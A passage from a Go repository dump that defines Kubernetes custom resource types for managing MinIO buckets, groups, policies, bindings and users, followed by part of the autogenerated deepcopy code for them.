ResourceKeyRef { 92 | rkrns := rkr.Namespace 93 | if rkrns == "" { 94 | rkrns = ns 95 | } 96 | return ResourceKeyRef{ 97 | Name: rkr.Name, 98 | Namespace: rkrns, 99 | } 100 | } 101 | -------------------------------------------------------------------------------- /pkg/api/bfiola.dev/v1/miniobucket.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2025 Ben Fiola 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU Affero General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU Affero General Public License for more details. 13 | 14 | You should have received a copy of the GNU Affero General Public License 15 | along with this program. If not, see . 16 | */ 17 | // +k8s:deepcopy-gen=package 18 | 19 | package v1 20 | 21 | import ( 22 | metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" 23 | ) 24 | 25 | const ( 26 | MinioBucketDeletionPolicyAlways = "Always" 27 | MinioBucketDeletionPolicyIfEmpty = "IfEmpty" 28 | ) 29 | 30 | // +genclient 31 | // +k8s:deepcopy-gen=true 32 | // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object 33 | // +kubebuilder:printcolumn:name="Tenant Namespace",type=string,description="Tenant Namespace",JSONPath=`.status.currentSpec.tenantRef.namespace` 34 | // +kubebuilder:printcolumn:name="Tenant Name",type=string,description="Tenant Name",JSONPath=`.status.currentSpec.tenantRef.name` 35 | // +kubebuilder:printcolumn:name="Name",type=string,description="Name",JSONPath=`.status.currentSpec.name` 36 | 37 | // MinioBucket defines a MinIO tenant bucket. 38 | type MinioBucket struct { 39 | metav1.TypeMeta `json:",inline"` 40 | metav1.ObjectMeta `json:"metadata,omitempty"` 41 | 42 | Spec MinioBucketSpec `json:"spec"` 43 | // +kubebuilder:pruning:PreserveUnknownFields 44 | Status MinioBucketStatus `json:"status,omitempty"` 45 | } 46 | 47 | // MinioBucketSpec defines the desired state of MinioBucket 48 | type MinioBucketSpec struct { 49 | DeletionPolicy string `json:"deletionPolicy"` 50 | Migrate bool `json:"migrate,omitempty"` 51 | Name string `json:"name"` 52 | TenantRef ResourceRef `json:"tenantRef"` 53 | } 54 | 55 | // MinioBucketStatus defines the current state of MinioBucket 56 | type MinioBucketStatus struct { 57 | Synced *bool `json:"synced,omitempty"` 58 | CurrentSpec *MinioBucketSpec `json:"currentSpec,omitempty"` 59 | } 60 | 61 | // +k8s:deepcopy-gen=true 62 | // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object 63 | 64 | // MinioBucketList contains a list of MinioBucket 65 | type MinioBucketList struct { 66 | metav1.TypeMeta `json:",inline"` 67 | metav1.ListMeta `json:"metadata,omitempty"` 68 | 69 | Items []MinioBucket `json:"items"` 70 | } 71 | -------------------------------------------------------------------------------- /pkg/api/bfiola.dev/v1/miniogroup.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2025 Ben Fiola 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU Affero General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU Affero General Public License for more details. 13 | 14 | You should have received a copy of the GNU Affero General Public License 15 | along with this program. If not, see . 16 | */ 17 | package v1 18 | 19 | import ( 20 | metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" 21 | ) 22 | 23 | // +genclient 24 | // +k8s:deepcopy-gen=true 25 | // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object 26 | // +kubebuilder:printcolumn:name="Tenant Namespace",type=string,description="Tenant Namespace",JSONPath=`.status.currentSpec.tenantRef.namespace` 27 | // +kubebuilder:printcolumn:name="Tenant Name",type=string,description="Tenant Name",JSONPath=`.status.currentSpec.tenantRef.name` 28 | // +kubebuilder:printcolumn:name="Name",type=string,description="Name",JSONPath=`.status.currentSpec.name` 29 | 30 | // MinioGroup defines a MinIO builtin group identity. 31 | type MinioGroup struct { 32 | metav1.TypeMeta `json:",inline"` 33 | metav1.ObjectMeta `json:"metadata,omitempty"` 34 | 35 | Spec MinioGroupSpec `json:"spec"` 36 | // +kubebuilder:pruning:PreserveUnknownFields 37 | Status MinioGroupStatus `json:"status,omitempty"` 38 | } 39 | 40 | // MinioGroupSpec defines the desired state of MinioGroup 41 | type MinioGroupSpec struct { 42 | Migrate bool `json:"migrate,omitempty"` 43 | Name string `json:"name"` 44 | TenantRef ResourceRef `json:"tenantRef"` 45 | } 46 | 47 | // MinioGroupStatus defines the current state of MinioGroup 48 | type MinioGroupStatus struct { 49 | Synced *bool `json:"synced,omitempty"` 50 | CurrentSpec *MinioGroupSpec `json:"currentSpec,omitempty"` 51 | } 52 | 53 | // +k8s:deepcopy-gen=true 54 | // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object 55 | 56 | // MinioGroupList contains a list of MinioGroup 57 | type MinioGroupList struct { 58 | metav1.TypeMeta `json:",inline"` 59 | metav1.ListMeta `json:"metadata,omitempty"` 60 | 61 | Items []MinioGroup `json:"items"` 62 | } 63 | -------------------------------------------------------------------------------- /pkg/api/bfiola.dev/v1/miniogroupbinding.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2025 Ben Fiola 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU Affero General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU Affero General Public License for more details. 13 | 14 | You should have received a copy of the GNU Affero General Public License 15 | along with this program. If not, see . 16 | */ 17 | package v1 18 | 19 | import ( 20 | metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" 21 | ) 22 | 23 | // +genclient 24 | // +k8s:deepcopy-gen=true 25 | // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object 26 | // +kubebuilder:printcolumn:name="Tenant Namespace",type=string,description="Tenant Namespace",JSONPath=`.status.currentSpec.tenantRef.namespace` 27 | // +kubebuilder:printcolumn:name="Tenant Name",type=string,description="Tenant Name",JSONPath=`.status.currentSpec.tenantRef.name` 28 | // +kubebuilder:printcolumn:name="User",type=string,description="User",JSONPath=`.status.currentSpec.user` 29 | // +kubebuilder:printcolumn:name="Group",type=string,description="Group",JSONPath=`.status.currentSpec.group` 30 | 31 | // MinioGroupBinding attaches a MinIO builtin user identity to a MinIO builtin group identity 32 | type MinioGroupBinding struct { 33 | metav1.TypeMeta `json:",inline"` 34 | metav1.ObjectMeta `json:"metadata,omitempty"` 35 | 36 | Spec MinioGroupBindingSpec `json:"spec"` 37 | // +kubebuilder:pruning:PreserveUnknownFields 38 | Status MinioGroupBindingStatus `json:"status,omitempty"` 39 | } 40 | 41 | // MinioGroupBindingSpec defines the desired state of MinioGroupBinding 42 | type MinioGroupBindingSpec struct { 43 | Group string `json:"group"` 44 | Migrate bool `json:"migrate,omitempty"` 45 | TenantRef ResourceRef `json:"tenantRef,omitempty"` 46 | User string `json:"user"` 47 | } 48 | 49 | // MinioGroupBindingStatus defines the current state of MinioGroupBinding 50 | type MinioGroupBindingStatus struct { 51 | Synced *bool `json:"synced,omitempty"` 52 | CurrentSpec *MinioGroupBindingSpec `json:"currentSpec,omitempty"` 53 | } 54 | 55 | // +k8s:deepcopy-gen=true 56 | // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object 57 | 58 | // MinioGroupBindingList contains a list of MinioGroupBinding 59 | type MinioGroupBindingList struct { 60 | metav1.TypeMeta `json:",inline"` 61 | metav1.ListMeta `json:"metadata,omitempty"` 62 | 63 | Items []MinioGroupBinding `json:"items"` 64 | } 65 | -------------------------------------------------------------------------------- /pkg/api/bfiola.dev/v1/miniopolicy.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2025 Ben Fiola 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU Affero General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU Affero General Public License for more details. 13 | 14 | You should have received a copy of the GNU Affero General Public License 15 | along with this program. If not, see . 16 | */ 17 | package v1 18 | 19 | import ( 20 | metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" 21 | ) 22 | 23 | // +genclient 24 | // +k8s:deepcopy-gen=true 25 | // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object 26 | // +kubebuilder:printcolumn:name="Tenant Namespace",type=string,description="Tenant Namespace",JSONPath=`.status.currentSpec.tenantRef.namespace` 27 | // +kubebuilder:printcolumn:name="Tenant Name",type=string,description="Tenant Name",JSONPath=`.status.currentSpec.tenantRef.name` 28 | // +kubebuilder:printcolumn:name="Name",type=string,description="Name",JSONPath=`.status.currentSpec.name` 29 | 30 | // MinioPolicy defines a MinIO tenant policy 31 | type MinioPolicy struct { 32 | metav1.TypeMeta `json:",inline"` 33 | metav1.ObjectMeta `json:"metadata,omitempty"` 34 | 35 | Spec MinioPolicySpec `json:"spec"` 36 | // +kubebuilder:pruning:PreserveUnknownFields 37 | Status MinioPolicyStatus `json:"status,omitempty"` 38 | } 39 | 40 | // MinioPolicyStatement defines a single statement within a MinioPolicy 41 | type MinioPolicyStatement struct { 42 | Action []string `json:"action"` 43 | Effect string `json:"effect"` 44 | Resource []string `json:"resource"` 45 | } 46 | 47 | // MinioPolicySpec defines the desired state of MinioPolicy 48 | type MinioPolicySpec struct { 49 | Migrate bool `json:"migrate,omitempty"` 50 | Name string `json:"name"` 51 | Statement []MinioPolicyStatement `json:"statement"` 52 | TenantRef ResourceRef `json:"tenantRef"` 53 | Version string `json:"version"` 54 | } 55 | 56 | // MinioPolicyStatus defines the current state of MinioPolicy 57 | type MinioPolicyStatus struct { 58 | Synced *bool `json:"synced,omitempty"` 59 | CurrentSpec *MinioPolicySpec `json:"currentSpec,omitempty"` 60 | } 61 | 62 | // +k8s:deepcopy-gen=true 63 | // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object 64 | 65 | // MinioPolicyList contains a list of MinioPolicy 66 | type MinioPolicyList struct { 67 | metav1.TypeMeta `json:",inline"` 68 | metav1.ListMeta `json:"metadata,omitempty"` 69 | 70 | Items []MinioPolicy `json:"items"` 71 | } 72 | -------------------------------------------------------------------------------- /pkg/api/bfiola.dev/v1/miniopolicybinding.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2025 Ben Fiola 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU Affero General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU Affero General Public License for more details. 13 | 14 | You should have received a copy of the GNU Affero General Public License 15 | along with this program. If not, see . 16 | */ 17 | package v1 18 | 19 | import ( 20 | metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" 21 | ) 22 | 23 | // +genclient 24 | // +k8s:deepcopy-gen=true 25 | // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object 26 | // +kubebuilder:printcolumn:name="Tenant Namespace",type=string,description="Tenant Namespace",JSONPath=`.status.currentSpec.tenantRef.namespace` 27 | // +kubebuilder:printcolumn:name="Tenant Name",type=string,description="Tenant Name",JSONPath=`.status.currentSpec.tenantRef.name` 28 | // +kubebuilder:printcolumn:name="Policy",type=string,description="Policy",JSONPath=`.status.currentSpec.policy` 29 | // +kubebuilder:printcolumn:name="User",type=string,description="User",JSONPath=`.status.currentSpec.user` 30 | // +kubebuilder:printcolumn:name="Group",type=string,description="Group",JSONPath=`.status.currentSpec.group` 31 | 32 | // MinioPolicyBinding attaches a MinIO identity to a MinIO policy 33 | type MinioPolicyBinding struct { 34 | metav1.TypeMeta `json:",inline"` 35 | metav1.ObjectMeta `json:"metadata,omitempty"` 36 | 37 | Spec MinioPolicyBindingSpec `json:"spec"` 38 | // +kubebuilder:pruning:PreserveUnknownFields 39 | Status MinioPolicyBindingStatus `json:"status,omitempty"` 40 | } 41 | 42 | type MinioPolicyBindingIdentity struct { 43 | Builtin string `json:"builtin,omitempty"` 44 | Ldap string `json:"ldap,omitempty"` 45 | } 46 | 47 | // MinioPolicyBindingSpec defines the desired state of MinioPolicyBinding 48 | type MinioPolicyBindingSpec struct { 49 | Group MinioPolicyBindingIdentity `json:"group,omitempty"` 50 | Migrate bool `json:"migrate,omitempty"` 51 | Policy string `json:"policy"` 52 | TenantRef ResourceRef `json:"tenantRef"` 53 | User MinioPolicyBindingIdentity `json:"user,omitempty"` 54 | } 55 | 56 | // MinioPolicyBindingStatus defines the current state of MinioPolicyBinding 57 | type MinioPolicyBindingStatus struct { 58 | Synced *bool `json:"synced,omitempty"` 59 | CurrentSpec *MinioPolicyBindingSpec `json:"currentSpec,omitempty"` 60 | } 61 | 62 | // +k8s:deepcopy-gen=true 63 | // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object 64 | 65 | // MinioPolicyBindingList contains a list of MinioPolicyBinding 66 | type MinioPolicyBindingList struct { 67 | metav1.TypeMeta `json:",inline"` 68 | metav1.ListMeta `json:"metadata,omitempty"` 69 | 70 | Items []MinioPolicyBinding `json:"items"` 71 | } 72 | -------------------------------------------------------------------------------- /pkg/api/bfiola.dev/v1/miniouser.go: -------------------------------------------------------------------------------- 1 | /* 2 | Copyright (C) 2025 Ben Fiola 3 | 4 | This program is free software: you can redistribute it and/or modify 5 | it under the terms of the GNU Affero General Public License as published by 6 | the Free Software Foundation, either version 3 of the License, or 7 | (at your option) any later version. 8 | 9 | This program is distributed in the hope that it will be useful, 10 | but WITHOUT ANY WARRANTY; without even the implied warranty of 11 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 12 | GNU Affero General Public License for more details. 13 | 14 | You should have received a copy of the GNU Affero General Public License 15 | along with this program. If not, see . 16 | */ 17 | package v1 18 | 19 | import ( 20 | metav1 "k8s.io/apimachinery/pkg/apis/meta/v1" 21 | ) 22 | 23 | // +genclient 24 | // +k8s:deepcopy-gen=true 25 | // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object 26 | // +kubebuilder:printcolumn:name="Tenant Namespace",type=string,description="Tenant Namespace",JSONPath=`.status.currentSpec.tenantRef.namespace` 27 | // +kubebuilder:printcolumn:name="Tenant Name",type=string,description="Tenant Name",JSONPath=`.status.currentSpec.tenantRef.name` 28 | // +kubebuilder:printcolumn:name="Access Key",type=string,description="Access Key",JSONPath=`.status.currentSpec.accessKey` 29 | 30 | // MinioUser defines a MinIO builtin user identity. 31 | type MinioUser struct { 32 | metav1.TypeMeta `json:",inline"` 33 | metav1.ObjectMeta `json:"metadata,omitempty"` 34 | 35 | Spec MinioUserSpec `json:"spec"` 36 | // +kubebuilder:pruning:PreserveUnknownFields 37 | Status MinioUserStatus `json:"status,omitempty"` 38 | } 39 | 40 | // MinioUserSpec defines the desired state of MinioUser 41 | type MinioUserSpec struct { 42 | AccessKey string `json:"accessKey"` 43 | Migrate bool `json:"migrate,omitempty"` 44 | SecretKeyRef ResourceKeyRef `json:"secretKeyRef"` 45 | TenantRef ResourceRef `json:"tenantRef"` 46 | } 47 | 48 | // MinioUserStatus defines the current state of MinioUser 49 | type MinioUserStatus struct { 50 | Synced *bool `json:"synced,omitempty"` 51 | CurrentSpec *MinioUserSpec `json:"currentSpec,omitempty"` 52 | CurrentSecretKeyRefResourceVersion string `json:"currentSecretKeyRefResourceVersion,omitempty"` 53 | } 54 | 55 | // +k8s:deepcopy-gen=true 56 | // +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object 57 | 58 | // MinioUserList contains a list of MinioUser 59 | type MinioUserList struct { 60 | metav1.TypeMeta `json:",inline"` 61 | metav1.ListMeta `json:"metadata,omitempty"` 62 | 63 | Items []MinioUser `json:"items"` 64 | } 65 | -------------------------------------------------------------------------------- /pkg/api/bfiola.dev/v1/zz_generated.deepcopy.go: -------------------------------------------------------------------------------- 1 | //go:build !ignore_autogenerated 2 | 3 | // Code generated by controller-gen. DO NOT EDIT. 4 | 5 | package v1 6 | 7 | import ( 8 | "k8s.io/apimachinery/pkg/runtime" 9 | ) 10 | 11 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 12 | func (in *MinioBucket) DeepCopyInto(out *MinioBucket) { 13 | *out = *in 14 | out.TypeMeta = in.TypeMeta 15 | in.ObjectMeta.DeepCopyInto(&out.ObjectMeta) 16 | out.Spec = in.Spec 17 | in.Status.DeepCopyInto(&out.Status) 18 | } 19 | 20 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioBucket. 21 | func (in *MinioBucket) DeepCopy() *MinioBucket { 22 | if in == nil { 23 | return nil 24 | } 25 | out := new(MinioBucket) 26 | in.DeepCopyInto(out) 27 | return out 28 | } 29 | 30 | // DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object. 31 | func (in *MinioBucket) DeepCopyObject() runtime.Object { 32 | if c := in.DeepCopy(); c != nil { 33 | return c 34 | } 35 | return nil 36 | } 37 | 38 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 39 | func (in *MinioBucketList) DeepCopyInto(out *MinioBucketList) { 40 | *out = *in 41 | out.TypeMeta = in.TypeMeta 42 | in.ListMeta.DeepCopyInto(&out.ListMeta) 43 | if in.Items != nil { 44 | in, out := &in.Items, &out.Items 45 | *out = make([]MinioBucket, len(*in)) 46 | for i := range *in { 47 | (*in)[i].DeepCopyInto(&(*out)[i]) 48 | } 49 | } 50 | } 51 | 52 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioBucketList. 53 | func (in *MinioBucketList) DeepCopy() *MinioBucketList { 54 | if in == nil { 55 | return nil 56 | } 57 | out := new(MinioBucketList) 58 | in.DeepCopyInto(out) 59 | return out 60 | } 61 | 62 | // DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object. 63 | func (in *MinioBucketList) DeepCopyObject() runtime.Object { 64 | if c := in.DeepCopy(); c != nil { 65 | return c 66 | } 67 | return nil 68 | } 69 | 70 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 71 | func (in *MinioBucketSpec) DeepCopyInto(out *MinioBucketSpec) { 72 | *out = *in 73 | out.TenantRef = in.TenantRef 74 | } 75 | 76 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioBucketSpec. 77 | func (in *MinioBucketSpec) DeepCopy() *MinioBucketSpec { 78 | if in == nil { 79 | return nil 80 | } 81 | out := new(MinioBucketSpec) 82 | in.DeepCopyInto(out) 83 | return out 84 | } 85 | 86 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 87 | func (in *MinioBucketStatus) DeepCopyInto(out *MinioBucketStatus) { 88 | *out = *in 89 | if in.Synced != nil { 90 | in, out := &in.Synced, &out.Synced 91 | *out = new(bool) 92 | **out = **in 93 | } 94 | if in.CurrentSpec != nil { 95 | in, out := &in.CurrentSpec, &out.CurrentSpec 96 | *out = new(MinioBucketSpec) 97 | **out = **in 98 | } 99 | } 100 | 101 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioBucketStatus. 102 | func (in *MinioBucketStatus) DeepCopy() *MinioBucketStatus { 103 | if in == nil { 104 | return nil 105 | } 106 | out := new(MinioBucketStatus) 107 | in.DeepCopyInto(out) 108 | return out 109 | } 110 | 111 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 112 | func (in *MinioGroup) DeepCopyInto(out *MinioGroup) { 113 | *out = *in 114 | out.TypeMeta = in.TypeMeta 115 | in.ObjectMeta.DeepCopyInto(&out.ObjectMeta) 116 | out.Spec = in.Spec 117 | in.Status.DeepCopyInto(&out.Status) 118 | } 119 | 120 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioGroup. 121 | func (in *MinioGroup) DeepCopy() *MinioGroup { 122 | if in == nil { 123 | return nil 124 | } 125 | out := new(MinioGroup) 126 | in.DeepCopyInto(out) 127 | return out 128 | } 129 | 130 | // DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object. 131 | func (in *MinioGroup) DeepCopyObject() runtime.Object { 132 | if c := in.DeepCopy(); c != nil { 133 | return c 134 | } 135 | return nil 136 | } 137 | 138 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 139 | func (in *MinioGroupBinding) DeepCopyInto(out *MinioGroupBinding) { 140 | *out = *in 141 | out.TypeMeta = in.TypeMeta 142 | in.ObjectMeta.DeepCopyInto(&out.ObjectMeta) 143 | out.Spec = in.Spec 144 | in.Status.DeepCopyInto(&out.Status) 145 | } 146 | 147 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioGroupBinding. 148 | func (in *MinioGroupBinding) DeepCopy() *MinioGroupBinding { 149 | if in == nil { 150 | return nil 151 | } 152 | out := new(MinioGroupBinding) 153 | in.DeepCopyInto(out) 154 | return out 155 | } 156 | 157 | // DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object. 158 | func (in *MinioGroupBinding) DeepCopyObject() runtime.Object { 159 | if c := in.DeepCopy(); c != nil { 160 | return c 161 | } 162 | return nil 163 | } 164 | 165 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 166 | func (in *MinioGroupBindingList) DeepCopyInto(out *MinioGroupBindingList) { 167 | *out = *in 168 | out.TypeMeta = in.TypeMeta 169 | in.ListMeta.DeepCopyInto(&out.ListMeta) 170 | if in.Items != nil { 171 | in, out := &in.Items, &out.Items 172 | *out = make([]MinioGroupBinding, len(*in)) 173 | for i := range *in { 174 | (*in)[i].DeepCopyInto(&(*out)[i]) 175 | } 176 | } 177 | } 178 | 179 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioGroupBindingList. 180 | func (in *MinioGroupBindingList) DeepCopy() *MinioGroupBindingList { 181 | if in == nil { 182 | return nil 183 | } 184 | out := new(MinioGroupBindingList) 185 | in.DeepCopyInto(out) 186 | return out 187 | } 188 | 189 | // DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object. 190 | func (in *MinioGroupBindingList) DeepCopyObject() runtime.Object { 191 | if c := in.DeepCopy(); c != nil { 192 | return c 193 | } 194 | return nil 195 | } 196 | 197 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 198 | func (in *MinioGroupBindingSpec) DeepCopyInto(out *MinioGroupBindingSpec) { 199 | *out = *in 200 | out.TenantRef = in.TenantRef 201 | } 202 | 203 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioGroupBindingSpec. 204 | func (in *MinioGroupBindingSpec) DeepCopy() *MinioGroupBindingSpec { 205 | if in == nil { 206 | return nil 207 | } 208 | out := new(MinioGroupBindingSpec) 209 | in.DeepCopyInto(out) 210 | return out 211 | } 212 | 213 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 214 | func (in *MinioGroupBindingStatus) DeepCopyInto(out *MinioGroupBindingStatus) { 215 | *out = *in 216 | if in.Synced != nil { 217 | in, out := &in.Synced, &out.Synced 218 | *out = new(bool) 219 | **out = **in 220 | } 221 | if in.CurrentSpec != nil { 222 | in, out := &in.CurrentSpec, &out.CurrentSpec 223 | *out = new(MinioGroupBindingSpec) 224 | **out = **in 225 | } 226 | } 227 | 228 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioGroupBindingStatus. 229 | func (in *MinioGroupBindingStatus) DeepCopy() *MinioGroupBindingStatus { 230 | if in == nil { 231 | return nil 232 | } 233 | out := new(MinioGroupBindingStatus) 234 | in.DeepCopyInto(out) 235 | return out 236 | } 237 | 238 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 239 | func (in *MinioGroupList) DeepCopyInto(out *MinioGroupList) { 240 | *out = *in 241 | out.TypeMeta = in.TypeMeta 242 | in.ListMeta.DeepCopyInto(&out.ListMeta) 243 | if in.Items != nil { 244 | in, out := &in.Items, &out.Items 245 | *out = make([]MinioGroup, len(*in)) 246 | for i := range *in { 247 | (*in)[i].DeepCopyInto(&(*out)[i]) 248 | } 249 | } 250 | } 251 | 252 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioGroupList. 253 | func (in *MinioGroupList) DeepCopy() *MinioGroupList { 254 | if in == nil { 255 | return nil 256 | } 257 | out := new(MinioGroupList) 258 | in.DeepCopyInto(out) 259 | return out 260 | } 261 | 262 | // DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object. 263 | func (in *MinioGroupList) DeepCopyObject() runtime.Object { 264 | if c := in.DeepCopy(); c != nil { 265 | return c 266 | } 267 | return nil 268 | } 269 | 270 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 271 | func (in *MinioGroupSpec) DeepCopyInto(out *MinioGroupSpec) { 272 | *out = *in 273 | out.TenantRef = in.TenantRef 274 | } 275 | 276 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioGroupSpec. 277 | func (in *MinioGroupSpec) DeepCopy() *MinioGroupSpec { 278 | if in == nil { 279 | return nil 280 | } 281 | out := new(MinioGroupSpec) 282 | in.DeepCopyInto(out) 283 | return out 284 | } 285 | 286 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 287 | func (in *MinioGroupStatus) DeepCopyInto(out *MinioGroupStatus) { 288 | *out = *in 289 | if in.Synced != nil { 290 | in, out := &in.Synced, &out.Synced 291 | *out = new(bool) 292 | **out = **in 293 | } 294 | if in.CurrentSpec != nil { 295 | in, out := &in.CurrentSpec, &out.CurrentSpec 296 | *out = new(MinioGroupSpec) 297 | **out = **in 298 | } 299 | } 300 | 301 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioGroupStatus. 302 | func (in *MinioGroupStatus) DeepCopy() *MinioGroupStatus { 303 | if in == nil { 304 | return nil 305 | } 306 | out := new(MinioGroupStatus) 307 | in.DeepCopyInto(out) 308 | return out 309 | } 310 | 311 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 312 | func (in *MinioPolicy) DeepCopyInto(out *MinioPolicy) { 313 | *out = *in 314 | out.TypeMeta = in.TypeMeta 315 | in.ObjectMeta.DeepCopyInto(&out.ObjectMeta) 316 | in.Spec.DeepCopyInto(&out.Spec) 317 | in.Status.DeepCopyInto(&out.Status) 318 | } 319 | 320 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioPolicy. 321 | func (in *MinioPolicy) DeepCopy() *MinioPolicy { 322 | if in == nil { 323 | return nil 324 | } 325 | out := new(MinioPolicy) 326 | in.DeepCopyInto(out) 327 | return out 328 | } 329 | 330 | // DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object. 331 | func (in *MinioPolicy) DeepCopyObject() runtime.Object { 332 | if c := in.DeepCopy(); c != nil { 333 | return c 334 | } 335 | return nil 336 | } 337 | 338 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 339 | func (in *MinioPolicyBinding) DeepCopyInto(out *MinioPolicyBinding) { 340 | *out = *in 341 | out.TypeMeta = in.TypeMeta 342 | in.ObjectMeta.DeepCopyInto(&out.ObjectMeta) 343 | out.Spec = in.Spec 344 | in.Status.DeepCopyInto(&out.Status) 345 | } 346 | 347 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioPolicyBinding. 348 | func (in *MinioPolicyBinding) DeepCopy() *MinioPolicyBinding { 349 | if in == nil { 350 | return nil 351 | } 352 | out := new(MinioPolicyBinding) 353 | in.DeepCopyInto(out) 354 | return out 355 | } 356 | 357 | // DeepCopyObject is an autogenerated deepcopy function, copying the receiver, creating a new runtime.Object. 358 | func (in *MinioPolicyBinding) DeepCopyObject() runtime.Object { 359 | if c := in.DeepCopy(); c != nil { 360 | return c 361 | } 362 | return nil 363 | } 364 | 365 | // DeepCopyInto is an autogenerated deepcopy function, copying the receiver, writing into out. in must be non-nil. 366 | func (in *MinioPolicyBindingIdentity) DeepCopyInto(out *MinioPolicyBindingIdentity) { 367 | *out = *in 368 | } 369 | 370 | // DeepCopy is an autogenerated deepcopy function, copying the receiver, creating a new MinioPolicyBindingIdentity. 371 | func (in *MinioPolicyBindingIdentity) DeepCopy() *MinioPolicyBindingIdentity { 372 | if in == nil { 373 | return nil 374 | } 375 | out := new(MinioPolicyBindingIdentity) 376 | in.DeepCopyInto(out) 377 | return out 378 | } 379 | 380 | // DeepCopyInto is an autogenerated 